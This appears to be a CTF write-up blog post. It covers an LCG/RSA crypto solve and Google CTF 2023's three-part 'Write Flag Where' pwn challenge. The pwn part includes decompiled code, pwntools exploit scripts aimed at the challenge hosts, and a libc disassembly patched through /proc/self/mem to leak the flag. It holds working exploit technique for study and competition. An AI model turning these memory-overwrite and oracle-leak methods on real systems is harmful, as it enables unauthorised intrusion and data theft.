4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
from math import gcd
from sage.all import GF, Zmod
from sage.all import is_prime_power
from Crypto.PublicKey import RSA
from Crypto.Util.number import bytes_to_long, isPrime, long_to_bytes

# https://github.com/jvdsn/crypto-attacks/blob/master/attacks/lcg/parameter_recovery.py
# with some modification
def attack(y, m=None, a=None, c=None):
    """
    Recovers the parameters from a linear congruential generator.
    If no modulus is provided, attempts to recover the modulus from the outputs (may require many outputs).
    If no multiplier is provided, attempts to recover the multiplier from the outputs (requires at least 3 outputs).
    If no increment is provided, attempts to recover the increment from the outputs (requires at least 2 outputs).
    :param y: the sequential output values obtained from the LCG
    :param m: the modulus of the LCG (can be None)
    :param a: the multiplier of the LCG (can be None)
    :param c: the increment of the LCG (can be None)
    :return: a tuple containing the modulus, multiplier, and the increment
    """
    if m is None:
        assert len(y) >= 4, "At least 4 outputs are required to recover the modulus"
        for i in range(len(y) - 3):
            d0 = y[i + 1] - y[i]
            d1 = y[i + 2] - y[i + 1]
            d2 = y[i + 3] - y[i + 2]
            g = d2 * d0 - d1 * d1
            m = g if m is None else gcd(g, m)

        #assert is_prime_power(m), "Modulus must be a prime power, try providing more outputs"

    gf = Zmod(m)
    if a is None:
        assert len(y) >= 3, "At least 3 outputs are required to recover the multiplier"
        x0 = gf(y[0])
        x1 = gf(y[1])
        x2 = gf(y[2])
        a = int((x2 - x1) / (x1 - x0))

    if c is None:
        assert len(y) >= 2, "At least 2 outputs are required to recover the multiplier"
        x0 = gf(y[0])
        x1 = gf(y[1])
        c = int(x1 - a * x0)

    return m, a, c

lcg = list(map(int, open("dump.txt", "r").read().split()))
seed = 211286818345627549183608678726370412218029639873054513839005340650674982169404937862395980568550063504804783328450267566224937880641772833325018028629959635
lcg = [seed] + lcg

print(lcg)
m, a, c = attack(lcg)
print(m, a, c)

# verify output
for i in range(len(lcg) - 1):
    assert (a*lcg[i]+c)%m == lcg[i+1]

# taken from generate.py
class LCG:
    global m, a, c
    lcg_m = a
    lcg_c = c
    lcg_n = m

    def __init__(self, lcg_s):
        self.state = lcg_s

    def next(self):
        self.state = (self.state * self.lcg_m + self.lcg_c) % self.lcg_n
        return self.state

# Find prime value of specified bits a specified amount of times
seed = 211286818345627549183608678726370412218029639873054513839005340650674982169404937862395980568550063504804783328450267566224937880641772833325018028629959635
lcg = LCG(seed)
primes_arr = []

dump = False
items = 0
#dump_file = open("dump.txt", "w")

primes_n = 1
while True:
    for i in range(8):
        while True:
            prime_candidate = lcg.next()
            if dump:
                dump_file.write(str(prime_candidate) + '\n')
                items += 1
                if items == 6:
                    dump = False
                    dump_file.close()
            if not isPrime(prime_candidate):
                continue
            elif prime_candidate.bit_length() != 512:
                continue
            else:
                primes_n *= prime_candidate
                primes_arr.append(prime_candidate)
                break

    # Check bit length
    if primes_n.bit_length() > 4096:
        print("bit length", primes_n.bit_length())
        primes_arr.clear()
        primes_n = 1
        continue
    else:
        break

# Create public key 'n'
n = 1
for j in primes_arr:
    n *= j
print("[+] Public Key: ", n)
print("[+] size: ", n.bit_length(), "bits")

# now decrypt the flag with p and q
print(primes_arr)
phi = 1
for k in primes_arr:
    phi *= (k - 1)

key = RSA.importKey(open("public.pem", "rb").read())
print(key.e, key.n)
print(key.n == n)
e = key.e

d = pow(e, -1, phi)

c = int.from_bytes(open("flag.txt", "rb").read(), "little")
print(c)

print(long_to_bytes(pow(c, d, n)))

Pwn

Write Flag Where - Overview

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
Part1:
This challenge is not a classical pwn
In order to solve it will take skills of your own
An excellent primitive you get for free
Choose an address and I will write what I see
But the author is cursed or perhaps it's just out of spite
For the flag that you seek is the thing you will write
ASLR isn't the challenge so I'll tell you what
I'll give you my mappings so that you'll have a shot.

Part2:
Was that too easy? Let's make it tough
It's the challenge from before, but I've removed all the fluff

Part3:
Your skills are considerable, I'm sure you'll agree
But this final level's toughness fills me with glee
No writes to my binary, this I require
For otherwise I will surely expire

nc wfw[123].2023.ctfcompetition.com 1337
solves 294 / 155 / 43

From reversing the challenge, we can quickly identify the behavior. The challenge first output the process map, allowing us to know pie, libc, and stack addresses. It then close stdin/stdout/stderr, and only accept inputs from fd 1337. Lastly, the challenge goes into a while loop, taking an address and a count, then write count number of bytes of flag to the specified address. Note that the flag is written by writting directly to the process memory file, so all addresses are writable, including the code themselves. This will be handy for part 3.

The decompiled code from ghidra for part 3, with some modification to reflect each level:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
int main(){
  local_c = open("/proc/self/maps",0);
  read(local_c,maps,0x1000);
  close(local_c);
  local_10 = open("./flag.txt",0);
  if (local_10 == -1) {
    puts("flag.txt not found");
  }
  else {
    sVar2 = read(local_10,flag,0x80);
    if (0 < sVar2) {
      close(local_10);
      local_14 = dup2(1,0x539);
      local_18 = open("/dev/null",2);
      dup2(local_18,0);
      dup2(local_18,1);
      dup2(local_18,2);
      close(local_18);
      alarm(0x3c);
      dprintf(local_14,
              "Your skills are considerable, I\'m sure you\'ll agree\nBut this final level\'s toughn ess fills me with glee\nNo writes to my binary, this I require\nFor otherwise I will s urely expire\n"
             );
      dprintf(local_14,"%s\n\n",maps);
      while( true ) {
	// dprintf(local_14,"Give me an address and a length just so:\n<address> <length>\nAnd I\'ll write it wh erever you want it to go.\nIf an exit is all that you desire\nSend me nothing and I  will happily expire\n"); // part 1
        local_78 = 0;
        local_70 = 0;
        local_68 = 0;
        local_60 = 0;
        local_58 = 0;
        local_50 = 0;
        local_48 = 0;
        local_40 = 0;
        sVar2 = read(local_14,&local_78,0x40);
        local_1c = (undefined4)sVar2;
        iVar1 = __isoc99_sscanf(&local_78,"0x%llx %u",&local_28,&local_2c);
	// if (((iVar1 != 2) || (0x7f < local_2c))) // part 2
        if (((iVar1 != 2) || (0x7f < local_2c)) || ((main - 0x5000 < local_28 && (local_28 < main + 0x5000)))) // part 3
        break;
        local_20 = open("/proc/self/mem",2);
        lseek64(local_20,local_28,0);
        write(local_20,flag,(ulong)local_2c);
        close(local_20);
      }
                    /* WARNING: Subroutine does not return */
      exit(0);
    }
    puts("flag.txt empty");
  }
  return 1;
}

Write Flag Where - Part 1

For part 1, there is a dprintf function call after the entrence to the while loop, so writing the flag to the string that are printed each loop can leak the flag.

CTF{Y0ur_j0urn3y_is_0n1y_ju5t_b39innin9}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from pwn import *

elf = ELF("./chal_patched")
libc = ELF("./libc.so.6")
ld = ELF("./ld-2.35.so")

context.binary = elf
context.terminal = ["tmux", "splitw", "-h"]

def connect():
        nc_str = "nc wfw1.2023.ctfcompetition.com 1337"
        _, host, port = nc_str.split(" ")
        p = remote(host, int(port))

    return p

def main():
    p = connect()
    p.recvuntil(b"shot.\n")
    s = p.recvline()
    elf.address = int(s.split(b'-')[0], 16)
    print(hex(elf.address))

    p.sendline(f"{hex(elf.address + 0x21e0)} 60")

    p.interactive()


if __name__ == "__main__":
    main()

Write Flag Where - Part 2

Part 2 proves to be trickier. In ghidra, the exit call stopped the decompiler from disassembling the code further, therefore missing a dprintf function call after the exit(0) call. Instead, I tried to leak the flag using the sscanf function with the string 0x%llx %u. The sscanf function call will attempt to match the input format string from the input string. In the original challenge, it’s trying to match the starting 0x before reading the hex numbers as input. For example, if we overwrite the format string to Cx%llx %u and send the input Cx0 0, the program will continue normally, but input Dx0 0 will exit immediately after. Therefore, we can overwrite that string, then attempt to read different strings, leaking the flag byte by byte. See solve2.py for implementation details.

CTF{impr355iv3_6ut_can_y0u_s01v3_cha113ng3_3?}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
#!/usr/bin/python3
from pwn import *
elf = ELF("./chal_patched")
libc = ELF("./libc.so.6")
ld = ELF("./ld-2.35.so")

context.binary = elf
context.terminal = ["tmux", "splitw", "-h"]

def connect():
        nc_str = "nc wfw2.2023.ctfcompetition.com 1337"
        _, host, port = nc_str.split(" ")
        p = remote(host, int(port))

    return p

def attempt(cur_flag, ch):
    p = connect()
    p.recvuntil(b"fluff\n")
    elf.address = int(p.recvline().split(b'-')[0], 16)

    for i in range(6):
        p.recvline()

    libc.address = int(p.recvline().split(b'-')[0], 16)

    for i in range(11):
        p.recvline()

    stack_base = int(p.recvline().split(b'-')[0], 16)

    for i in range(5):
        p.recvline()

#    print(hex(elf.address), hex(libc.address), hex(stack_base))
    count = len(cur_flag)+1
    target_address = elf.address+0x20bc-(count-1)
    overwrite_str = hex(target_address)
    p.sendline(f"{overwrite_str} {count}")

    overwrite_str = hex(target_address)
    p.sendline(f"{ch}{overwrite_str[1:]} {count}")

    overwrite_str = hex(target_address)
    p.sendline(f"-{overwrite_str[1:]} {count}")

    try:
        p.recv(1, timeout=1)
    except Exception:
        p.close()
        return False
    p.close()
    return True

def main():
    context.log_level='critical'
    FLAG = "CTF{"
    for l in range(100):
        for c in "_"+string.printable[:-7]:
            print(FLAG+c)
            if attempt(FLAG, c):
                FLAG+=c
                break
        if FLAG[-1] == "}":
            break
    print(FLAG)


if __name__ == "__main__":
    main()

Write Flag Where - Part 3

Lastly for part 3, we can’t write into the main binary region, including the all the data sections. After looking through the functions in libc that are used, I found that the read function is the most likely function to be hijacked, since the arguments used to call the function is helpful.

Meanwhile, I also look for some useful instructions we can create using the flag prefix. I notice that 0x43 (‘C’) is a prefix in x86 assembly, and can be used to nop out instruction with minimal effects on most registers. Another interesting instruction is 0x7b (‘{‘), which is jnp. This allow use to jmp further down the program. The changes made to the read function is as follow:

  1. Overwrite the second syscall to set rsi from rsp+0x43
  2. Overwrite ja after second syscall to jnp to jump downward
  3. Overwrite jump direction of the last jmp to jump to write function
  4. Overwrite broken instructions with nop so it doesn’t segfault
  5. Overwrite the first return in the read function to trigger the full exploit.

see libc_original.asm for the original libc function (disassembled from ghidra), and libc_changed.asm for the final state after all the writes, along with some comments to how the final payload achieved the target.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
// ssize_t read(int __fd,void *__buf,size_t __nbytes)
        00214980 f3 0f 1e fa     ENDBR64
        00214984 64 8b 04        MOV        EAX,dword ptr FS:[0x18]
                 25 18 00 
                 00 00
        0021498c 85 c0           TEST       EAX,EAX
        0021498e 75 10           JNZ        LAB_002149a0
        00214990 0f 05           SYSCALL
        00214992 48 3d 00        CMP        RAX,-0x1000
                 f0 ff ff
        00214998 77 56           JA         LAB_002149f0
        0021499a c3              RET
        0021499b 0f              ??         0Fh
        0021499c 1f              ??         1Fh
        0021499d 44              ??         44h    D
        0021499e 00              ??         00h
        0021499f 00              ??         00h
                             LAB_002149a0  
        002149a0 48 83 ec 28     SUB        RSP,0x28
        002149a4 48 89 54        MOV        qword ptr [RSP + local_10],__nbytes
                 24 18
        002149a9 48 89 74        MOV        qword ptr [RSP + local_18],__buf
                 24 10
        002149ae 89 7c 24 08     MOV        dword ptr [RSP + local_20],__fd
        002149b2 e8 b9 c0        CALL       __pthread_enable_asynccancel 
                 f7 ff
        002149b7 48 8b 54        MOV        __nbytes,qword ptr [RSP + local_10]
                 24 18
        002149bc 48 8b 74        MOV        __buf,qword ptr [RSP + local_18]
                 24 10
        002149c1 41 89 c0        MOV        R8D,EAX
        002149c4 8b 7c 24 08     MOV        __fd,dword ptr [RSP + local_20]
        002149c8 31 c0           XOR        EAX,EAX
        002149ca 0f 05           SYSCALL
        002149cc 48 3d 00        CMP        RAX,-0x1000
                 f0 ff ff
        002149d2 77 34           JA         LAB_00214a08
                             LAB_002149d4
        002149d4 44 89 c7        MOV        __fd,R8D
        002149d7 48 89 44        MOV        qword ptr [RSP + local_20],RAX
                 24 08
        002149dc e8 ff c0        CALL       __pthread_disable_asynccancel 
                 f7 ff
        002149e1 48 8b 44        MOV        RAX,qword ptr [RSP + local_20]
                 24 08
        002149e6 48 83 c4 28     ADD        RSP,0x28
        002149ea c3              RET
        002149eb 0f              ??         0Fh
        002149ec 1f              ??         1Fh
        002149ed 44              ??         44h    D
        002149ee 00              ??         00h
        002149ef 00              ??         00h
                             LAB_002149f0
        002149f0 48 8b 15        MOV        __nbytes,qword ptr [PTR_00318e10]
                 19 44 10 00
        002149f7 f7 d8           NEG        EAX
        002149f9 64 89 02        MOV        dword ptr FS:[__nbytes],EAX
        002149fc 48 c7 c0        MOV        RAX,-0x1
                 ff ff ff ff
        00214a03 c3              RET
        00214a04 0f              ??         0Fh
        00214a05 1f              ??         1Fh
        00214a06 40              ??         40h    @
        00214a07 00              ??         00h
                             LAB_00214a08
        00214a08 48 8b 15        MOV        __nbytes,qword ptr [PTR_00318e10]
                 01 44 10 00
        00214a0f f7 d8           NEG        EAX
        00214a11 64 89 02        MOV        dword ptr FS:[__nbytes],EAX
        00214a14 48 c7 c0        MOV        RAX,-0x1
                 ff ff ff ff
        00214a1b eb b7           JMP        LAB_002149d4
        00214a1d 0f              ??         0Fh
        00214a1e 1f              ??         1Fh
		
		
// ssize_t write(int __fd,void *__buf,size_t __n)
        00214a20 f3 0f 1e fa     ENDBR64
        00214a24 64 8b 04        MOV        EAX,dword ptr FS:[0x18]
                 25 18 00 
                 00 00
        00214a2c 85 c0           TEST       EAX,EAX
        00214a2e 75 10           JNZ        LAB_00214a40
        00214a30 b8 01 00        MOV        EAX,0x1
                 00 00
        00214a35 0f 05           SYSCALL
        00214a37 48 3d 00        CMP        RAX,-0x1000
                 f0 ff ff
        00214a3d 77 51           JA         LAB_00214a90
        00214a3f c3              RET
                             LAB_00214a40      
        00214a40 48 83 ec 28     SUB        RSP,0x28
        00214a44 48 89 54        MOV        qword ptr [RSP + local_10],__n
                 24 18
        00214a49 48 89 74        MOV        qword ptr [RSP + local_18],__buf
                 24 10
        00214a4e 89 7c 24 08     MOV        dword ptr [RSP + local_20],__fd
        00214a52 e8 19 c0        CALL       __pthread_enable_asynccancel  
                 f7 ff
        00214a57 48 8b 54        MOV        __n,qword ptr [RSP + local_10]
                 24 18
        00214a5c 48 8b 74        MOV        __buf,qword ptr [RSP + local_18]
                 24 10
        00214a61 41 89 c0        MOV        R8D,EAX
        00214a64 8b 7c 24 08     MOV        __fd,dword ptr [RSP + local_20]
        00214a68 b8 01 00        MOV        EAX,0x1
                 00 00
        00214a6d 0f 05           SYSCALL
        00214a6f 48 3d 00        CMP        RAX,-0x1000
                 f0 ff ff
        00214a75 77 31           JA         LAB_00214aa8
                             LAB_00214a77    
        00214a77 44 89 c7        MOV        __fd,R8D
        00214a7a 48 89 44        MOV        qword ptr [RSP + local_20],RAX
                 24 08
        00214a7f e8 5c c0        CALL       __pthread_disable_asynccancel 
                 f7 ff
        00214a84 48 8b 44        MOV        RAX,qword ptr [RSP + local_20]
                 24 08
        00214a89 48 83 c4 28     ADD        RSP,0x28
        00214a8d c3              RET
        00214a8e 66              ??         66h    f
        00214a8f 90              ??         90h
                             LAB_00214a90       
        00214a90 48 8b 15        MOV        __n,qword ptr [PTR_00318e10] 
                 79 43 10 00
        00214a97 f7 d8           NEG        EAX
        00214a99 64 89 02        MOV        dword ptr FS:[__n],EAX
        00214a9c 48 c7 c0        MOV        RAX,-0x1
                 ff ff ff ff
        00214aa3 c3              RET
        00214aa4 0f              ??         0Fh
        00214aa5 1f              ??         1Fh
        00214aa6 40              ??         40h    @
        00214aa7 00              ??         00h
                             LAB_00214aa8     
        00214aa8 48 8b 15        MOV        __n,qword ptr [PTR_00318e10] 
                 61 43 10 00
        00214aaf f7 d8           NEG        EAX
        00214ab1 64 89 02        MOV        dword ptr FS:[__n],EAX
        00214ab4 48 c7 c0        MOV        RAX,-0x1
                 ff ff ff ff
        00214abb eb ba           JMP        LAB_00214a77
        00214abd 0f              ??         0Fh
        00214abe 1f              ??         1Fh
        00214abf 00              ??         00h

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
0x7fca9f372980 <read>:     endbr64
0x7fca9f372984 <read+4>:   mov    eax,DWORD PTR fs:0x18
0x7fca9f37298c <read+12>:  test   eax,eax
0x7fca9f37298e <read+14>:  jne    0x7fca9f3729a0 <read+32>

// read payload so that rsp+0x43 = flag location
0x7fca9f372990 <read+16>:  syscall 

0x7fca9f372992 <read+18>:  cmp    rax,0xfffffffffffff000
0x7fca9f372998 <read+24>:  ja     0x7fca9f3729f0 <read+112>
//was ret, overwrite to start payload
0x7fca9f37299a <read+26>:  rex.XB 
0x7fca9f37299b <read+27>:  rex.XB //C
0x7fca9f37299c <read+28>:  rex.XB //C
0x7fca9f37299d <read+29>:  rex.XB //C
0x7fca9f37299e <read+30>:  rex.XB //C
0x7fca9f37299f <read+31>:  rex.XB //C
0x7fca9f3729a0 <read+32>:  sub    rsp,0x28
0x7fca9f3729a4 <read+36>:  mov    QWORD PTR [rsp+0x18],rdx
0x7fca9f3729a9 <read+41>:  mov    QWORD PTR [rsp+0x10],rsi
0x7fca9f3729ae <read+46>:  mov    DWORD PTR [rsp+0x8],edi
0x7fca9f3729b2 <read+50>:  rex.XB //C
0x7fca9f3729b3 <read+51>:  rex.XB //C
0x7fca9f3729b4 <read+52>:  rex.XB //C
0x7fca9f3729b5 <read+53>:  rex.XB //C
0x7fca9f3729b6 <read+54>:  rex.XB //C
0x7fca9f3729b7 <read+55>:  mov    rdx,QWORD PTR [rsp+0x18]

//C, load flag location into rsi
0x7fca9f3729bc <read+60>:  mov    rsi,QWORD PTR [rsp+0x43] 

0x7fca9f3729c1 <read+65>:  mov    r8d,eax
0x7fca9f3729c4 <read+68>:  mov    edi,DWORD PTR [rsp+0x8]
0x7fca9f3729c8 <read+72>:  xor    eax,eax

// read CT, rax = 2, cmp gives no parity, jmp
0x7fca9f3729ca <read+74>:  syscall 
0x7fca9f3729cc <read+76>:  cmp    rax,0x7b465443 //CTF{ {
0x7fca9f3729d2 <read+82>:  jnp    0x7fca9f372a08 <read+136>

[...]
0x7fca9f372a08 <read+136>: rex.XB //C
0x7fca9f372a09 <read+137>: rex.XB //C
0x7fca9f372a0a <read+138>: rex.XB //C
0x7fca9f372a0b <read+139>: rex.XB //C
0x7fca9f372a0c <read+140>: rex.XB //C
0x7fca9f372a0d <read+141>: rex.XB //C
0x7fca9f372a0e <read+142>: rex.XB neg r8d
0x7fca9f372a11 <read+145>: mov    DWORD PTR fs:[rdx],eax
0x7fca9f372a14 <read+148>: mov    rax,0xffffffffffffffff
0x7fca9f372a1b <read+155>: jmp    0x7fca9f372a60 <write+64> //C
[...]
0x7fca9f372a60 <write+64>: rex.XB //C
0x7fca9f372a61 <write+65>: mov    r8d,eax

// write 1337, flag, 0x40
0x7fca9f372a64 <write+68>: mov    edi,DWORD PTR [rsp+0x8]
0x7fca9f372a68 <write+72>: mov    eax,0x1
0x7fca9f372a6d <write+77>: syscall 
[...]

After overwriting the first return, I control the input to the read syscall to manipulate the content in rsp+0x43, and write the flag location there, so the write syscall will leak out the flag. To overcome the issue of no output, I add a sleep between each input to make sure the remove server have enough time to process each input. A better solution will be to pad each input to 0x40 bytes, then no delay will be needed. The solve script is in solve3.py.

CTF{y0ur_3xpl0itati0n_p0w3r_1s_0v3r_9000!!}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
from pwn import *
import time

elf = ELF("./chal_patched")
libc = ELF("./libc.so.6")
ld = ELF("./ld-2.35.so")

context.binary = elf
context.terminal = ["tmux", "splitw", "-h"]


def connect():
    if args.REMOTE:
        nc_str = "nc wfw3.2023.ctfcompetition.com 1337"
        _, host, port = nc_str.split(" ")
        p = remote(host, int(port))

    else:
        os.system("ulimit -n 2048")
        p = process([elf.path], preexec_fn = lambda: os.dup2(0, 1337))
        if args.GDB:
           gdb_script = """
           b *main+638
           c 20
           """
           gdb.attach(p, gdb_script)

    return p


def main():
    p = connect()

    def write(addr, len):
        #p.stdout.write(f'0x{addr:x} {len}\n'.encode())
        p.sendline(f'0x{addr:x} {len}'.encode())

        time.sleep(0.5)

    libc_found = False
    elf_found = False
    while True:
        line = p.recvline().decode('ascii').strip()
        if 'chal' in line and not elf_found:
            elf_base = int(line.split()[0].split('-')[0], 16)
            elf_found = True

        if line.endswith('libc.so.6') and not libc_found:
            libc_base = int(line.split()[0].split('-')[0], 16)
            libc_found = True

        if line.endswith('[stack]'):
            stack_bottom = int(line.split()[0].split('-')[1], 16)
            break

    print(hex(elf_base))
    print(hex(libc_base))
    print(hex(stack_bottom))

    input_buf_offset = 5856

    for i in range(0x1149b2, 0x1149b7):
        write(libc_base + i, 1)

    for i in range(0x114a08, 0x114a0f):
        write(libc_base + i, 1)

    write(libc_base + 0x114a60, 1)

    write(libc_base + 0x1149cf, 4)
    write(libc_base + 0x1149ce, 4)

    write(libc_base + 0x114a1c, 1)
    write(libc_base + 0x1149c0, 1)

    write(libc_base + 0x11499f, 1)
    write(libc_base + 0x11499e, 1)
    write(libc_base + 0x11499d, 1)
    write(libc_base + 0x11499c, 1)
    write(libc_base + 0x11499b, 1)
    write(libc_base + 0x11499a, 1)
    p.send(("a"*0x13).encode()+p64(elf_base + 0x50a0))
    time.sleep(0.5)
    p.send(b"CT")

    p.interactive()


if __name__ == "__main__":
    main()

#CTF{y0ur_3xpl0itati0n_p0w3r_1s_0v3r_9000!!}

<
Previous Post
Greycat CTF Quals 2023 Writeup
>
Next Post
UIUCTF 2023 Writeups